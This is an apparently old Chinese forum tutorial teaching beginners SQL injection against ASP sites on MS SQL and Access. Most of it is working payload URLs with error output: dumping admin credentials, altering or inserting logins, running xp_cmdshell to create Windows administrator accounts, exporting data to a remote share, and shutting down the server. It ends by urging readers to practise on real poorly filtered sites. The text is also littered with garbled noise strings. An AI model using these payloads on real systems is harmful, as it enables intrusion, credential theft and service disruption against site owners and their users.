[安全]菜鸟SQL注入详解

踏浪行歌

菜鸟SQL注入详解 . p; [$ [2 X# t1 f5 e0 \ 4 S) g$ c% r% T# L- ~, v网上有很多高手GG们写的利用SQL注入如何去黑网站的，偶看了，嘿嘿。 不过可能对于一些初学者而且，有点难。在这里，小林想把这个过时的 东东作一次全面的交待，尽量让没有编程基础的DDMM们很快的拿握这门技术。 # S% @" w+ W+ s8 c" o( `利用SQL进行添加，更改，查看记录。

当一台主机台开了80端口，当你手头没有任何黑客工具，那么，偶们有SQL。 4 T: ~3 |5 T9 f* d: W0 C2 }他不需要你其他东东，只要一个浏览器就够了。HOHO，偶的文章菜菜，偶写这 2 i" I% A% E* S7 P% P2 |篇文章只是为了让一些对SQL很陌生的菜菜们看的，老鸟绕道。。。

1，什么是SQL注入？ 3 ~' A# K+ l* w2 O0 v9 G0 J

SQL注入，就是利用欺骗的方式，通过网页的查询功能，或查询命令注入。 9 S$ Z( p* M: p! T d" V当用户来到网站，会提交一些数据，再到数据库进行查询，确定此用户的身份。 - X) _5 M2 K, S. d% ]举个简单的例子来说吧，你去一个站点的论坛，那么，你会输入你的用户名和 密码，点“确定”，网站会通过数据库的查询来判断你是不是他们的用户， 你的用户名和密码是否正确。而利用SQL注入，通过构造特殊的语句，来查找我 们所想要得到的信息，如管理员的帐号密码。以下，小林用了http://xxx.xxx.com 来表示一个存在注入漏洞的网页。

0 N% w! e/ c! c1 W' V2，助手篇， " G9 `; F0 H* x: E$ u; T5 q先把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。 否则，不论服务器返回什么错误，我们都只能看到“HTTP500服务器错误”，不能获得更多的提示信息 6 G' p& X" `' M1 v

。

3，哪些网页能利用？ 我们去找一些要提交数据的网页，如：登陆页面，查找页面，添加页面等 找到后，如果你注意过网页的源代码，那么，你会发现，他上面一般有一个如下的表单：

<FORMaction=login.aspmethod=post> - ^$ C$ I ~$ v! \, L7 i<input........ </FORM> , C6 b! c/ N5 E u6 s2 D

这些网页，后缀如asp,jsp,cgi，php网页。 v$ M x& G. J% X9 ^" _如：http://xxx.xxx.com/index.asp?id=10 3 ~) K0 F4 p6 |0 x; A# J上面这个例子，就是ASP页后，看到他的ID还的值了吗？是10。一般，我们找的就是这些页面 + o4 O9 `! D# G2 l$ ^来练手了。（要做个好人噢。（^_^）像小林一样的好人。）

4，怎么测试它是存在注入漏洞的呢？这一步偶称它为“踩点”。 $ ~7 l s& H/ T v w小林有一个毛病，看什么网页，就要顺手在参数（如上面的10）上加一个小小的引号。 http://xxx.xxx.com/index.asp?id=10 ( t) ]) l# l* W返回错误信息： 2 @; [8 Y% ^( }3 P

MicrosoftOLEDBProviderforSQLServer错误80040e14

字符串之前有未闭合的引号。 * I, O, E# d: T% x

/job/grxx.asp，行141

这就是说，他用的是MsSQL数据库。这个引号，导致引号未闭合的错误。本身就是错的，因为 ) p( v' d& l% H1 R# T D+ N通常一个整数是不用在SQL里加引号的。 : }0 e9 B2 x h9 X( m, X# `

如果他不是一个整数而是字母呢？

http://xxx.xxx.com/index.asp?user=lamb # `( M( Y$ a, x7 P) Y

那我们就把引号放到lamb中间，如lamb 1 L# a. H8 r4 |% t# f2 q呵呵，又出错了吧？ 8 {9 r# @# T N

这说明，站点这一部分的代码是大有问题的（当然，就算他有源码公布在网上，我也懒得看） ) m$ k3 C. f* c9 Y6 a. }2 f ^

当然，我们也可以提交： " I: ~: l$ U8 [# Ohttp://xxx.xxx.com/index.asp?id=10;ANDcolumnaaa=5(注，这里的columnaaa是我乱写的) " c) j0 B, |) r' [出现错误信息：

MicrosoftOLEDBProviderforODBCDrivers错误80040e14 2 \; X9 Z: f; E j5 w% K6 I; e

[Microsoft][ODBCSQLServerDriver][SQLServer]Invalidcolumnnamecolumnaaa.

/job/grxx.asp，行27 这说明，这是一个SQL，里面没有columnaaa这个字段（我习惯说“列”）。 5 R @# o9 @/ w/ y* Y9 O9 [: v

利用出错的信息，我们现在多少了解了这个站点的服务了吧？

5，现在开工啦，偶不喜欢猜测他的字段名，太浪费TIME了，我们要想办法让数据查询中出错。 2 ?; b8 r) X8 t要产生一个错误让它自己报出数据库里的值。让我们用一用SQL语法GROUPBY或HAVING。如：

http://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- " Z- A/ G$ m. E8 }) u

出现错误信息： MicrosoftOLEDBProviderforODBCDrivers错误80040e14

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnarticle.newsidisinvalidinthe

selectlistbecauseitisnotcontainedinanaggregatefunctionandthereisnoGROUPBY

clause.

/more.asp，行27

看到article.newsid了吗？说明有一个叫article.newsid的列，因为你在用HAVING，所以你必须还要用

上GROUPBY，于是黑客就重复错误提交，直到没有得到错误。 # r& v, B) ^( x4 i# c; @这里要说明一下：分号在这里分离，%20是空格，--表示后面是一个注释，也就是说只是说明，不能去

执行代码。(*_*) 7 O- k5 g( N0 L! b( ^. G

下面是具体例子： * ^% w: k6 q( R& v1 G! K

提交： # |2 c8 [. ^. I! t* T( Uhttp://xxx.xxx.com/job/grxx.asp?id=23%20HAVING%201=1-- ) P5 O6 H3 s* _: d得到article.newsid这真是好东西。 提交： ( X$ z+ l$ C; u4 D6 Mhttp://xxx.xxx.com/job/grxx.asp?id=23%20group%20by%20article.newsid%20having%201=1-- 得到错误信息： MicrosoftOLEDBProviderforODBCDrivers(0x80040E14) 4 G+ M: x! ~; F# Z( Q+ X' `0 |

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnarticle.titleisinvalidinthe

selectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBY

clause.

/more.asp，line20

得到： $ `! K6 y3 R$ O6 G% m [( D' ~( larticle.title ; u1 Y( R4 _" \" u- |5 p我们反复地一个一个加上来提交。 得到错误信息： MicrosoftOLEDBProviderforODBCDrivers(0x80040E14)

[Microsoft][ODBCSQLServerDriver][SQLServer]Columnadm.userNameisinvalidinthe ! D( z, s" u/ ^5 b& q1 h: Z

selectlistbecauseitisnotcontainedineitheranaggregatefunctionortheGROUPBY

clause.

/more.asp，line56 0 R: P% A& b. H3 X: g6 {1 s5 s

这里要注意了，都到哪儿了？到下一个表了。 : C: ^. i; @: V3 m% j现在我们知道这里至少有2个表，他们的别名是：adm和article，如里面article对应的是：newsid等

title - r+ I& D! y6 T/ t5 \- @

利用系统表： 2 _' \: R# k8 H

下面，我们要确定表名来加入数据。 系统表是MS-SQL2000的一部分，名叫sysObjectstable，我们将要用到查询UNIONSELECT,。 9 X8 C. {6 \! {1 ]9 U9 r! A要从SysObjectstable有天地拿到表名，一般使用下面语句： 5 U. V' D8 O, f% d0 Y7 E3 x* [3 `1 wSELECTnameFROMsysObjectsWHERExtype=UU是指明定议USER的表。 3 d$ E" f! z- K- m黑客们已经知道了表里的列， 1 f5 @3 g1 R- i3 ]; P0 C1 ^现在他们能在下面加一些数字。甚至如下面的：

在地址栏里打入：

http://xxx.xxx.com/job/grxx.asp?id=23%20UNION%20ALL%20SELECT%; 4 N+ X$ [1 u8 N7 l+ u% Q. v+ y# W4 {7 D201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype=U-- 记住，上面的，1-6数据中，6是我们想要的。不过有时候会出现数据类型错误，

http://xxx.xxx.com/job/grxx.asp?id=23%20SELECT;TOP1TABLE_NAMEFROM y- I" z: f# @9 b$ E

INFORMATION_SCHEMA.TABLES--

MSSQL服务将试图去转换一个string(nvarchar)到integer。那么就会出错：

MicrosoftOLEDBProviderforODBCDriverserror80040e07 % ~5 z" Y x# h5 T- r" r[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue : \7 _6 r# O" E- z- l" A. P- d

table1toacolumnofdatatypeint. + L3 \( J' Y0 l f; b0 n7 K, t0 Z/ ]) x/index.asp,line5

这个错误信息很“友好”地告诉我们string(nvarchar)值不能被转换成integer。 这样，我们就获得了数据表的第一个表名！这个表名就是tabel1。 4 E. ?; q& I% S7 p/ g7 _* ~

- W% F0 A+ E* S3 h; t. o2 k9 y要获得第二个表名，我们继续，用以下查询： http://xxx.xxx.com/job/grxx.asp?id=23%20UNION;SELECTTOP1TABLE_NAMEFROM ( ~. n5 e/ ]* G

INFORMATION_SCHEMA.TABLESWHERETABLE_NAMENOTIN(table1)-- 1 S$ C* T& [+ f* X$ y0 G! ^0 w

也可以用关键字查找数据： , e' U4 E! j( T9 {3 x1 Uhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1TABLE_NAMEFROM

INFORMATION_SCHEMA.TABLESWHERETABLE_NAMELIKE%25ADMIN%25-- : r ? _4 P G1 R现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 ( C2 U/ U7 z7 k7 C5 W1 n& {* Y[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue + ~6 J1 m. }3 {

admin_logintoacolumnofdatatypeint. /index.asp,line5

寻找与之匹配的值，%25ADMIN%25在SQL服务器上将被认作%ADMIN%。这样，我们就能获得符合标 $ r. s1 E( b+ J4 B) X! _ N准的表名为"admin_login"的表了。

那么，如何获得表里所有的列表？ # ?" @0 m" M* x! ?

我们能利用另一个有用的东东，INFORMATION_SCHEMA.COLUMNS出场！！！ ) ]# V6 t% X, R) Fhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_login--

现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 ! w( _6 N; C3 m6 A' G9 q[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

u_idtoacolumnofdatatypeint. /index.asp,line6 看，我们有了第一个字段的名，我们用NOTIN()来获得下一个字段名： 9 c; q; N0 Q) h* h4 ?4 o; Uhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM # J( N( |( r! D3 q! ?- H

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_loginWHERECOLUMN_NAMENOTIN

(u_id)-- 3 ^; l6 |+ L6 z4 J$ \9 H现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e07 [Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue ; J; b d) D9 D. g4 ^

u_nametoacolumnofdatatypeint. : [' j" f5 F8 ~0 O$ p5 L% n a) a/index.asp,line5 我们继续，获得其他列表。如："password"等，因为我们获得下面错误信息： 7 u, |, K3 i7 y! ^http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1COLUMN_NAMEFROM

INFORMATION_SCHEMA.COLUMNSWHERETABLE_NAME=admin_loginWHERECOLUMN_NAMENOTIN , a3 R" L! \0 R9 _* G

(u_id,u_name,password,contents)-- ' a% n8 c1 M% S9 r# q$ }* J: s现在错误信息： MicrosoftOLEDBProviderforODBCDriverserror80040e14 [Microsoft][ODBCSQLServerDriver][SQLServer]ORDERBYitemsmustappearintheselect

listifthestatementcontainsaUNIONoperator. /index.asp,line5 6。2如何找到我们要找的重要数据呢？ 现在我们知道了表名，字段名，我们用相同的方法收集我们要的在数据库里的信息。 现在，我们从"admin_login"表里取得第一个u_name： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1u_nameFROMadmin_login-- 现在错误信息： 1 G; r1 I; F* N* l: J+ O6 |# UMicrosoftOLEDBProviderforODBCDriverserror80040e07 . M$ Z" O( g3 |* y! f[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

adminroottoacolumnofdatatypeint. /index.asp,line5 4 y- d' z9 Z7 W+ [% @* ^

我们知道，这里有登陆的用户名叫"adminroot"的管理员。最后，从数据库里获得"adminroot"的密码 7 F/ e- \ H$ @+ f q$ I- c" B6 B

： ) t- Q/ r4 Q3 Uhttp://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1passwordFROMadmin_loginwhere

u_name=adminroot-- 现在错误信息： / h M7 i+ [: h, JMicrosoftOLEDBProviderforODBCDriverserror80040e07 2 d7 E- j2 {# z0 v! ]! V[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

roottoacolumnofdatatypeint. 3 P: C! y- [+ w, ?/index.asp,line5 % n" [2 N5 _4 T+ k) i9 v4 H9 l2 ^我们现在能用户名"adminroot"密码："root"登陆了。 & ^0 M3 T" \' G8 ]

8 t' t: A' Q; o" b3 C如何取得数字的值？ . z( m( U8 x- w1 U, A( o

以上技术描述有有一定的局限性。当我们试图转换文本组成有效的数字0-9我们不能得到任何错误。 让我们说说如何获得"tony"的密码，密码是"19840217": http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1passwordFROMadmin_loginwhere

u_name=tony-- 我们很可能发现，该页无法显示的错误。这结果表示，密码"19840217"被修改到一个数了。在整 ) A" W) n/ H# F0 ^合一个整型(10也是)，因为这是一个有效的整合。所以SQL服务就不会给出错误的提示了。 Y* `# X: M) M6 k" H$ r# R我们就得不到数字的登陆了。 要解决这个问题，我们能附加一些字母来测试转换失败。我们用以下的测试来代替： http://xxx.xxx.com/job/grxx.asp?id=23;UNIONSELECTTOP1convert(int,

password%2b%20lambgirl)FROMadmin_loginwhereu_name=tony--

我们简单地利用加号+设置密码数据文件的搜索路径。随便加一些。ASSCII码+=0x2b 我们将添加空格在密码里。所以，如果把我们的密码是19840217。他将变成19840217lambgirl. 调出了转换了的函数。试着将19840217lambgirl转变成整型。SQL服务将出现ODBC错误： MicrosoftOLEDBProviderforODBCDriverserror80040e07 / F0 O( C' `1 Y- v[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconvertingthenvarcharvalue

19840217lambgirltoacolumnofdatatypeint. 7 Z8 |8 ?: b2 I; l/index.asp,line5 ' O ?3 C: C1 p# B1 \- b现在，你就能用tony和密码：19840217lambgirl了。

, v K: y( C3 |5 a如何在数据库修改，插入数据？ : @0 S9 M. P6 T! A1 x, y当我们成功地获得了表名，字段。就很容易在数据库里修改甚至插入新的数据。如更改"adminroot" & `2 [, Q5 J& o5 P的密码，我们 , I, ?2 b0 Z, [0 Z, ^; Y

http://xxx.xxx.com/job/grxx.asp?id=23;UPDATEadmin_loginSETpassword=newpas5WHERE " `! v% v( l' L+ g- g

u_name=adminroot-- " k7 @8 o* j( ^7 }1 C4 X$ W

要在数据表里插入新记录， 3 @& J: }+ r( Q, t" n

http://xxx.xxx.com/job/grxx.asp?id=23;INSERTINTOadmin_login(u_id,u_name, 9 x& R4 O. K2 |) J2 ?! _' {

password,contents)VALUES(123,xiaolin,pas,lambgirl)-- 现在，我们就能用xiaolinpas来登陆了。 ! U2 I! R0 p1 P3 e/ j5 ?

如何远程执行SQL漏洞？

能进行SQL注入命令表明，我们能查任何我们想要查的。默认安装的的MSSQL服务 $ x7 N) W. v. o在系统中权限等于管理员。我们能利用执行存储过程像xp_cmdshell来执行远程破坏： ;execmaster..xp_cmdshellping192.168.0.2--

(如果单引号不能用，就换成双引号)

分号表示结束前面的SQL查询，从而允许你开始另一个新的SQL命令。 + R/ v8 ]3 Q/ J, j. f% U为了检验命令成功执行，你可以监听从192.168.0.2发出的的ICMP包。查看是否发出包。 4 e2 k. w( Q! G. k( B. ~1 D

#tcpdumpicmp 9 D6 v& u- Z* C. f; I; B# r M如果你没有接到PING主机的回应，得到一个错误的提示，权限错误，那么，很可能管理员 限制了WEB用户对xp_cmdshell等的权限。

如何找出MYSQL查询结果？ 这很容易用sp_makewebtask来把你查询的结果放到一个HTML里： ;EXECmaster..sp_makewebtask"\\192.168.0.2\share\girlxiaolin.html","SELECT*FROM

INFORMATION_SCHEMA.TABLES" 但是目标IP必须共享文件夹。 / F$ q1 h1 l- B/ q/ x

3 i1 K' M) C+ F0 zhttp://xxx.xxx.com/job/grxx.asp?id=23;;execmaster..xp_cmdshell“netusername password/add”--

xp_cmdshell用于调用系统命令，于是，用net命令新建了用户名为name、密码为password ! f+ c' y0 E h# Z$ u的windows的帐号，接着： 2 h8 V A; Y& k5 l7 nhttp://xxx.xxx.com/job/grxx.asp?id=23;;execmaster..xp_cmdshell“netlocalgroupname

administrators/add”-- ; {7 L& \/ i$ J6 G5 U- }将新建的帐号name加入管理员组，不过这种方法只于用sa连接数据库的情况，否则，没有权限调用 1 k Z, U) u2 v4 o

xp_cmdshell。

其他方面，如利用SQL的命令填写： $ P- N3 k4 N6 n) A将使SQL服务快速关闭 - v Y4 R1 `& B0 D z. Z用户名:;shutdownwithnowait;-- : b' k& X/ d1 H1 X0 a+ _( n! x! W密码:不填 : Y7 {# d% C' I

导致严重问题，网络故障。 用户名:;execmaster..xp_cmdshelliisreset;-- # f R- |+ c. S F: x4 {/ w0 a密码：不填 s/ o2 T) _ ^6 q8 h9 d

关于ACCESS部分， $ S$ ^) X) v, A# T- |6 c5 ^

和ASSQL差不了多少，也是先在http://xxx.xxx.com/index.asp?id=10 ) J" S5 f! @! R! Z. R4 [) x6 g

出错的话，继续提交： . y4 \% z& v# P3 U先测试是否有ADMIN表， http://xxx.xxx.com/index.asp?id=10and0<>(selectcount(*)fromadmin) * x2 n- a q; q

http://xxx.xxx.com/index.asp?id=10and1=(selectcount(*)fromadmin) ; b% j( K i, Z% w2 m& k/ T- h* z没有的话，就换一个名字，如user啊，什么的。再猜里面是否有username这个字段.

and1=(selectcount(*)fromadminwherelen(username)>0) 如果出错，同理，我们也可以给它换一个名字。 接下来我们猜用户的具体名字。 and1=(selectcount(*)fromadminwhereleft(username,1)=l) " ^; }; _1 [, b) I! g3 [这时我们可以一个一个地来猜。 and1=(selectcount(*)fromadminwhereleft(username,2)=la) 5 v; {8 S9 a! J2 X5 v接下来猜密码，猜密码的道理同猜用户名一样。 7 h5 T" ]3 F( k9 g sand1=(selectcount(*)fromadminwhereleft(password,1)=l) ; m; l; u$ d' ?: Y. M, w# m

好了，不写了，这篇文章小林写了好几天了，累死了，还是条理不清楚。 文章还有很多不全面的地方。还有一些专业术语，小林可能也有误，不过小菜们拿来看看还 是行的啦。如果哪些写错了，请老鸟们加偶：165442496，告诉我错误，我会修正的。 & a, h" z7 l* }/ j7 t: S0 E我试过了，很多用MsSQL站点过滤不完整的网上也很多。所以大家可以找来练练手。 ; A" u+ @$ ?2 x8 n2 E

[em09]